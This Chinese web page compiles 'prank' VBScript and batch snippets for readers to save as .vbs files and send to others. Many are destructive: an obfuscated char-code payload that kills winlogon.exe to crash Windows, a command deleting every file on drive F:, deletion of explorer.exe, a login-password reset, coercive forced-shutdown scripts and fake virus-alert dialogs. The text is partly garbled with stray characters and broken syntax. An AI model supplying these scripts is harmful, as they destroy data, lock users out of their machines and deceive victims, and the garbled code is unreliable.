提起vbs整人代码,大家都知道,有人问vbs整人代码怎么解除,你知道这是怎么回事?其实vbs整人代码怎么解除,下面就一起来看看vbs整人代码,希望能够帮助到大家!
VBS小程序-弹窗整人(代码+解析)
VBS可以用来编写一些整人的小程序,那么如何编写呢?下面我就给大家分享一下。
01
我们首先在桌面上创建一个VBS的文件,如下图所示,注意VBS文件双击的话是直接运行的
02
然后我们用Sublime打开vbs程序文件,在里面核猛借助loop循环来不断的输出msgbox,如下图所示
03
接下来我们双击vbs程序文件,运行上面拍禅编写的整人程序,你会看到如下图所示的弹窗效果,我们点击确定以后会不断的弹窗改贺桥
04
最后如果你想关闭这个整人的程序只能通过在任务管理器里面右键结束任务进行关闭了,如下图所示
求大量VBS整人代码.
第一个 domsgbox “hi”loop 第二个 Set s = CreateObject(“sapi.spvoice”)i=0dos.speak ii=i+1loop 第三个 if MsgBox(“对不起,您消中慧灌水太多需要重新启动计算机。”chr(10)”确定要重启吗?”,vbOKCancel+vbInformation,”重新启动计算机”)=vbCancel thenmsgbox ” 系统将立刻重起wow ~_^”拿答,,”你上当了!!”Set objShell = CreateObject(“Wscript.Shell”)objShell.Run “shutdown -s -t 5”,,trueend if 第四个 ‘这个很强悍的vbs,蓝屏strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)for i=1 to UBound(strs)runner=runnerchr(strs(i))nextExecute runner 第五个 if MsgBox(“你是猪头吗?”,vbYesNo,”提示”)=vbyes thenmsgbox “你SB啊!”elsemsgbox “还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?”,64,”培清严重警告!!!!!!!!!”Set ws = CreateObject(“Wscript.Shell”)wscript.sleep 1200ws.run “cmd /c start /min ntsd -c q -pn winlogon.exe 1nul 2nul”,vbhideend if 第六个 Set ws = CreateObject(“Wscript.Shell”)ws.run “cmd.exe /c call calc.exe”,0第七个 set ws=CreateObject(“Wscript.Shell”)ws.run “cmd.exe /c taskkill /f /im explorer.exe”,0wscript.sleep 900ws.run “cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data”wscript.sleep 1200ws.run “cmd.exe /c del /q /f %windir%\explorer.exe”第八个 Set ws=WScript.CreateObject(“WScript.Shell”)ws.popup”大家好,我就是改变社会风气,风魔万千少女,刺激电影市道,提高年轻人内涵,”,10,”闪亮登场”,64ws.popup”玉树临风,风度翩翩的……“咕噜…咕噜…”,不好意思,我内急先闪了,再见!”,15,”farewell”,64wscript.sleep 100000ws.popup”发现重要windows更新未安装,系统将自动下载更新并安装”,10ws.popup”正在下载windows更新……”,12wscript.sleep 10000ws.popup”windows更新已下载完毕,正在安装更新……”,12wscript.sleep 3000msgbox”系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ,并在强行嵌入你的电脑”,4132,”是否对其进行扫描?”msgbox”软件名:comcontroler.exe “vbcrlf””vbcrlf” 大小:1.21MB “vbcrlf””vbcrlf” 发行者:幻想丶永恒(403746401)”vbcrlf””vbcrlf” 安全状况:有病毒”,vbinformationmsgbox”comcontroler.exe存在不安全因素”,4132,”是否阻止其安装”msgbox”阻止失败,请检查防火墙是否开启”wscript.sleep 15000ws.popup”windows更新安装成功!”,vbinfmation,20msgbox”您的电脑可能已被入侵,请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料”,vbinformationws.popup”哈哈,我已经控制了你的电脑!”,12,”很高兴见到你”,64ws.popup”不信?我用你的电脑打开我的QQ空间给你看看”,10ws.run”” msgbox”警告:为了您的电脑安全,请尽快安装使用杀毒软件对系统进行全面杀毒”,vbinformationws.popup”我再打开中国神泣官方网站”,10ws.run”” ws.popup”现在相信了吧?我再打开你的记事本给你写封英语信”,20ws.popup”记事本会被打开并最大化,这时你不要动,千万别把目标转移到其他窗口,耐心看我把信写完。否则引起系统混乱我可不负责!”ws.run “notepad”,3 : wscript.sleep 2000verybat=split(“dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it’s ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj”,”,”) 第九个 for each wind in verybatws.sendkeys windwscript.sleep 500nextws.popup”唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886″,30ws.popup”下机可不能忘了关QQ 我吧QQ关了哈”,8ws.run “taskkill /f /im qq.exe”ws.popup”你还要上吧 慢慢玩哦”,27dim WSHshellset WSHshell = wscript.createobject(“wscript.shell”)for d=0 to 4WSHshell.SendKeys “%{F4}”nextws.run”shutdown -s -t 1000600″wscript.sleep 2000dim adoa=inputbox(“请输入解除关机密码”)if a=”403746401″ thenws.run”shutdown -a”msgbox”密码验证成功,enjoy the best!”exit doelsemsgbox”密码验证失败,请输入解除关机密码:403746401 “,vbretrycancelend ifloopws.popup”哈哈 被吓到了吧 好玩吧?你以为真的是病毒?呵呵O(∩_∩)O~,我还没那么打本事能做出病毒来!”,57ws.popup”(\(^o^)/~ 好啦,跟你开了个小小玩笑。你也可以把这个文件发给其他人,耍耍别人。呵呵^_^”,62wscript.sleep 8900do until i=10i=i+1msgbox “CPU温度过高,系统出现严重错误!,请结束所有应用程序让CPU降温!”,16+4096,”系统提示:”wscript.sleep 1000*45loop 第十个 set sh=wscript.createobject(“wscript.shell”)sh.run”shutdown -s -t 332″ 第十一个 dim WSHshellset WSHshell = wscript.createobject(“wscript.shell”)for d=0 to 40WSHshell.SendKeys “%{F4}”next第十二个 dim a,b,c,sSet fs=CreateObject(“Scripting.FileSystemObject”)name = WScript.ScriptNamefullname = WScript.ScriptFullNamepath = Replace(fullname,name,””)a=inputbox(“请在对话框中填写你真实的姓名!”vbcrlf””vbcrlf”稍后将会给你意外的惊喜!! “vbcrlf””vbcrlf”不信你可以试试看!!!”vbcrlf””vbcrlf”最好是中文名···”,”芮洲提示:”,”请在此输入你的名字”)If a = “”ThenWScript.QuitEnd IfMyVar=MsgBox (“你的名字叫:”a” “,vbYesNo + vbExclamation,”芮洲提示:”)If MyVar=vbYes ThenElseIf MyVar=vbNo Thena=inputbox(“请在对话框中填写你真实的姓名!”vbcrlf””vbcrlf”稍后将会给你意外的惊喜!! “vbcrlf””vbcrlf”不信你可以试试看!!!”vbcrlf””vbcrlf”最好是中文名···”,”芮洲提示:”,”请在此输入你的名字”)If a = “”ThenWScript.QuitEnd IfEnd Ifwscript.sleep 1000b=inputbox(“尊敬的 “a” 你好!”vbcrlf””vbcrlf”请填写一下你的爱好。(只需填一个哦!)”,”芮洲提示:”,”请在此输入你的爱好”)If b = “”ThenWScript.QuitEnd Ifwscript.sleep 1000c = inputbox (“请在下面对话框中输入你的出生[年 月日]电脑将自动算出到目前为止你已经在地球上存活了多少时间!”vbcrlf””vbcrlf”下面以我为列 不同可以修改”vbcrlf””Chr(10)”格式为:1987-06-02″,”芮洲提示:”,”1987-06-02″)If c = “”ThenWScript.QuitEnd Ifwscript.sleep 1000age = abs(datediff(“d”,date,c))wscript.sleep 1current = now()h=datepart(“h”,current)n=datepart(“n”,current)WScript.Sleep 1000s = msgbox (Chr(10)”恭喜 “a” 已在地球上存活了:”age”天 “h”小时 “n”分钟…..”,vbOKCancel+63,”芮洲提示:”)if s=2 thenend ifSet auto=fs.CreateTextFile(“C:\Documents and Settings\All Users\桌面\”a”的秘密.vbs”,true)auto.WriteLine”MSGBOX””””””我的名字叫:”a” “”””””vbcrlf””””””””””””vbcrlf””””””我的爱好是:”B” “”””””vbcrlf””””””””””””vbcrlf”””””””a”已经活了:”age”天 “h”小时 “n”分钟 “”””””,64,”””””””a”的自我介绍:”””auto.WriteLine”msgbox””””””亲爱的 “a ” 再见了!””””””,48,””””””芮洲提示:”””””””Set auto=fs.CreateTextFile(“C:\Documents and Settings\All Users\桌面\祝”a”生日快乐.TXT”,true)auto.WriteLine”本人芮洲祝: “a” 生日快乐、心想事成、敢于大胆尝试、早日飞黄腾达…….”auto.WriteLine”你已在地球上生活了:”age”天 “h”小时 “n”分钟了”auto.WriteLine”时间是根据你的出生年月日算的,可能不是很精确,但目的只是想让知道时间过的很快,请珍惜时间!!!。”
vbs整人代码(要可以用的) 我直接COPY到记事本里,所以别打错了。
———————————————————————
代码:
Set ws=WScript.CreateObject(“WScript.Shell”)
ws.popup”大家好,我就是改变社会风气,风魔万千少女,刺激电影市道,提高年轻人内涵,”,10,”闪亮登场”,64
ws.popup”玉树临风,风度翩翩的……“咕噜…咕噜…”,不好意思,我内急先闪了,再见!”,15,”farewell”,64
wscript.sleep 100000
ws.popup”发现重要windows更新未安装,系统将自动下载更新并安装”,10
ws.popup”正在下载windows更新……”,12
wscript.sleep 10000
ws.popup”windows更新已下载完毕,正在安装更新……”,12
wscript.sleep 3000
msgbox”系统检测到WINDOWS更新中携带有不明软件 comcontroler.exe ,并在强行嵌入你的电脑”,4132,”是否对其进行扫描?”
msgbox”软件名:comcontroler.exe “vbcrlf””vbcrlf” 大小:1.21MB “vbcrlf””vbcrlf” 发行者:幻想丶永恒(403746401)”vbcrlf””vbcrlf” 安全状况:有病毒”,vbinformation
msgbox”comcontroler.exe存在不安全因素”,4132,”是否阻止其段谨圆安装”
msgbox”阻止失败,请检查防火墙是否开启”
wscript.sleep 15000
ws.popup”windows更新安装成功!”,vbinfmation,20
msgbox”您的电脑可能已被入侵,请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料”,vbinformation
ws.popup”哈哈,我已经控制了你的电脑!”,12,”很高兴见到你”,64
ws.popup”不信?我用你的电脑打开我的QQ空间给你看看”,10
ws.run””
msgbox”警告:为了您的电脑安全,请尽快晌族安装使用杀毒软件对系统进行全面杀毒”,vbinformation
ws.popup”我再打开中国神泣官方网站”,10
ws.run””
ws.popup”现在相信了吧?我再打开你的记事本给你写封英语信”,20
ws.popup”记事本会被打开并最大化,这时你不要动,千万别把目标转移到其他窗口,耐心看我把信写完。否则引起系统混乱我可不握塌负责!”
ws.run “notepad”,3 : wscript.sleep 2000
verybat=split(“dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it’s ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~,lhj”,”,”)
———————————————————————
代码2:
WScript.Echo(“嘿,谢谢你打开我哦,我等你很久拉!”TSName)
WScript.Echo(“你是可爱的XX童鞋吗?”)
WScript.Echo(“哈,我想你拉,这你都不知道吗?”)
WScript.Echo(“怎么才来,说~是不是不关心我”)
WScript.Echo(“哼,我生气拉,等你这么久,心都凉啦。”)
WScript.Echo(“夜黑很生气,后果很严重哦。”)
WScript.Echo(“嘿嘿!你也会很惨滴哦”)
WScript.Echo(“是不是想清除我?”)
WScript.Echo(“那你要点上100下哦,不过会给你惊喜滴”)
WScript.Echo(“还剩100下,快点点哦”)
WScript.Echo(“还剩99下,快点,小笨蛋!”)
WScript.Echo(“还剩98下对,就这样快点点!”)
WScript.Echo(“还剩97下。你啊就是笨,要快哦,我先不打扰你工作。”)
WScript.Echo(“还剩96下,记得要快哦!”)
WScript.Echo(“还剩95下”)
WScript.Echo(“还剩94下”)
WScript.Echo(“还剩93下”)
WScript.Echo(“还剩92下”)
WScript.Echo(“还剩91下”)
WScript.Echo(“还剩90下”)
WScript.Echo(“还剩89下”)
WScript.Echo(“还剩88下”)
WScript.Echo(“还剩87下”)
WScript.Echo(“还剩86下”)
WScript.Echo(“还剩85下”)
WScript.Echo(“还剩84下”)
WScript.Echo(“还剩83下”)
WScript.Echo(“还剩82下”)
WScript.Echo(“还剩81下”)
WScript.Echo(“还剩80下”)
WScript.Echo(“还剩79下”)
WScript.Echo(“还剩78下”)
WScript.Echo(“还剩77下”)
WScript.Echo(“还剩76下”)
WScript.Echo(“还剩75下”)
WScript.Echo(“还剩74下”)
WScript.Echo(“还剩73下”)
WScript.Echo(“还剩72下”)
WScript.Echo(“还剩71下”)
WScript.Echo(“还剩70下”)
WScript.Echo(“还剩69下”)
WScript.Echo(“还剩68下”)
WScript.Echo(“还剩67下”)
WScript.Echo(“还剩66下”)
WScript.Echo(“还剩65下”)
WScript.Echo(“还剩64下”)
WScript.Echo(“还剩63下”)
WScript.Echo(“还剩62下”)
WScript.Echo(“还剩61下”)
WScript.Echo(“还剩60下”)
WScript.Echo(“还剩59下”)
WScript.Echo(“还剩58下”)
WScript.Echo(“还剩57下”)
WScript.Echo(“还剩56下”)
WScript.Echo(“还剩55下”)
WScript.Echo(“还剩54下”)
WScript.Echo(“还剩53下”)
WScript.Echo(“还剩52下”)
WScript.Echo(“还剩51下”)
WScript.Echo(“还剩50下”)
WScript.Echo(“还剩49下”)
WScript.Echo(“还剩48下”)
WScript.Echo(“还剩47下”)
WScript.Echo(“还剩46下”)
WScript.Echo(“还剩45下”)
WScript.Echo(“还剩44下”)
WScript.Echo(“还剩43下”)
WScript.Echo(“还剩42下”)
WScript.Echo(“还剩41下”)
WScript.Echo(“还剩40下”)
WScript.Echo(“还剩39下”)
WScript.Echo(“还剩38下”)
WScript.Echo(“还剩37下”)
WScript.Echo(“还剩36下”)
WScript.Echo(“还剩35下”)
WScript.Echo(“还剩34下”)
WScript.Echo(“还剩33下”)
WScript.Echo(“还剩32下”)
WScript.Echo(“还剩31下”)
WScript.Echo(“还剩30下”)
WScript.Echo(“还剩29下”)
WScript.Echo(“还剩28下”)
WScript.Echo(“还剩27下”)
WScript.Echo(“还剩26下”)
WScript.Echo(“还剩25下”)
WScript.Echo(“还剩24下”)
WScript.Echo(“还剩23下”)
WScript.Echo(“还剩22下”)
WScript.Echo(“还剩21下”)
WScript.Echo(“还剩20下”)
WScript.Echo(“还剩19下”)
WScript.Echo(“还剩18下”)
WScript.Echo(“还剩17下”)
WScript.Echo(“还剩16下”)
WScript.Echo(“还剩15下”)
WScript.Echo(“还剩14下”)
WScript.Echo(“还剩13下”)
WScript.Echo(“还剩12下”)
WScript.Echo(“还剩11下”)
WScript.Echo(“还剩10下”)
WScript.Echo(“还剩9下”)
WScript.Echo(“还剩8下”)
WScript.Echo(“还剩7下”)
WScript.Echo(“还剩6下”)
WScript.Echo(“还剩5下”)
WScript.Echo(“还剩4下”)
WScript.Echo(“还剩3下”)
WScript.Echo(“还剩2下”)
WScript.Echo(“还剩1下”)
WScript.Echo(“还剩0下”)
WScript.Echo(“哎看你可怜,饶了你吧”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下”)
WScript.Echo(“还剩下停停!!!慢点,我有话要说”)
WScript.Echo(“还剩下,你继续点我就会消失滴”)
WScript.Echo(“还剩下,以后就看不到我拉。呜呜~555555”)
WScript.Echo(“还剩下,你现在可以选择停止!”)
WScript.Echo(“还剩下。你还点啊,不要我拉?”)
WScript.Echo(“还剩下,有点伤心拉,干嘛丢弃人家”)
WScript.Echo(“还剩下。疯了,你有点负意!”)
WScript.Echo(“还剩下。对。你就点吧,我恨你!”)
WScript.Echo(“还剩下,不明白,删除我你就好吗?”)
WScript.Echo(“还剩下!真要删除我?”)
WScript.Echo(“还剩下。可是我真的很眷恋你。。。”)
WScript.Echo(“还剩下。不要这么绝情嘛,人家是爱你的!”)
WScript.Echo(“还剩下。哼,既然你这么绝情。也别怪我无义!!!”)
WScript.Echo(“我本因该消失的,不过我留恋你滴芳容,万能的上帝又给了一次机会。”)
WScript.Echo(“想结束我么?那你就再多点一次”)
WScript.Echo(“想结束我么?那你就再多点一次”)
WScript.Echo(“想结束我么?那你就再多点一次”)
WScript.Echo(“想结束我么?那你就再多点一次”)
WScript.Echo(“想结束我么?那你就再多点一次”)
WScript.Echo(“想结束我么?那你就再多点一次”)
WScript.Echo(“想结束我么?那你就再多点一次”)
WScript.Echo(“想结束我么?那你就再多点一次”)
WScript.Echo(“想结束我么?那你就再多点一次”)
WScript.Echo(“想结束我么?那你就再多点一次”)
WScript.Echo(“呵呵。QQ1021435988”)
WScript.Echo(“呵呵。QQ1021435988”)
WScript.Echo(“呵呵。QQ1021435988”)
WScript.Echo(“呵呵。QQ1021435988”)
WScript.Echo(“呵呵。QQ1021435988”)
WScript.Echo(“呵呵。QQ1021435988”)
WScript.Echo(“呵呵。QQ1021435988”)
WScript.Echo(“呵呵。QQ1021435988”)
———————————————————————
蓝屏代码:
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-
23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-
13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103
,98,111,120,32,34,-15133,89,-13899,-20026,-
20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-
14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-
13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-
24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-
18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1
01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,
46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,
116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1
03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101
,110,100,32,105,102,13,10,13,10,13,10)
for i=1 to UBound(strs)
runner=runnerchr(strs(i))
next
Execute runner
———————————————————————
掉qq:
taskkill /im qq.exe /f /t
———————————————————————
10秒强制关机(任务管理器无效):
shutdown -s -t 10
———————————————————————
死机:
start cmd
0%
———————————————————————
设置登录密码为2010:
net user “%username%” 2010
———————————————————————
让电脑只剩一个背景
taskkill /im /f /t explorer.exe
———————————————————————
莫名其妙结束当前程序:
set ws=createobject(“wscript.shell”)
do
ws.sendkeys “%{f4}”
loop
———————————————————————
不断提示你是猪:
do
msgbox(“你是猪”)
loop
———————————————————————
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(“wscript.shell”)
WSHshellA.run “cmd.exe /c shutdown -r -t 60 -c “”说我是大笨笨!哈哈,不说我就一分钟关你机,不信,试试···我说到做到!”” “,0 ,true
dim a
do while(a”我是大笨蛋!哈哈!我是大肥猪!”)
a = inputbox (“说我是大笨蛋!哈哈!我是大肥猪!,我就不关你的机,快撒,说 “”我是大笨笨!哈哈”” “,”说不说”,”不说”,8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,”MsgBox”
loop
msgbox chr(13) + chr(13) + chr(13) + “早说就行了嘛猪”
dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “cmd.exe /c shutdown -a”,0 ,true
msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈,真过瘾 嘎嘎.爽歪歪啊 ”
———————————————————————
“我是畜生”:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(“wscript.shell”)
WSHshellA.run “cmd.exe /c shutdown -r -t 25 -c “”说我是畜生,不说就20秒关你机,不信,试试···”” “,0 ,true
dim a
do while(a”我是畜生”)
a = inputbox (“说我是畜生,就不关机,快撒,说 “”我是畜生”” “,”说不说”,”不说”,8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,”MsgBox”
loop
msgbox chr(13) + chr(13) + chr(13) + “早说就行了嘛”
dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “cmd.exe /c shutdown -a”,0 ,true
msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈,真过瘾”
———————————————————————
10秒关机:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(“wscript.shell”)
WSHshellA.run “cmd.exe /c shutdown -r -t 10 -c “”你被耍了”” “,0 ,true
———————————————————————
刷对话框:
do
msgbox(“你被耍了”)
loop
———————————————————————
直接关机:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(“wscript.shell”)
WSHshellA.run “cmd.exe /c shutdown -s “,0 ,true
———————————————————————一分钟弹出一次:
do until i=10
i=i+1
msgbox “CPU温度过高,系统出现严重误!”,16+4096,”系统提示”
wscript.sleep 1000*60 ‘时间可以自己改
loop
———————————————————————script language=”javascript”
function hr(){
alert(‘你关不掉的^_^’)
hr();
}
/script
body onLoad=”hr()”
/body
———————————————————————do while(1)
msgbox “你死定了!”
loop
还有更多的!:
———————————————————————
删除F:\所有文件
dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “cmd /c “”del f:\*.* / f /q /s”””,0 ,true
———————————————————————
不断按下alt+f4 (开什么都关闭……) :
dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
while(1)
WSHshell.SendKeys “%{F4}”
loop
———————————————————————
注意:分割线之间为一个代码,复制进TXT文档,另存为.vbs或.vbe,望楼主采纳!!!Q群:108141490–村长
以上就是与vbs整人代码相关内容,是关于vbs整人代码怎么解除的分享。看完vbs整人代码后,希望这对大家有所帮助!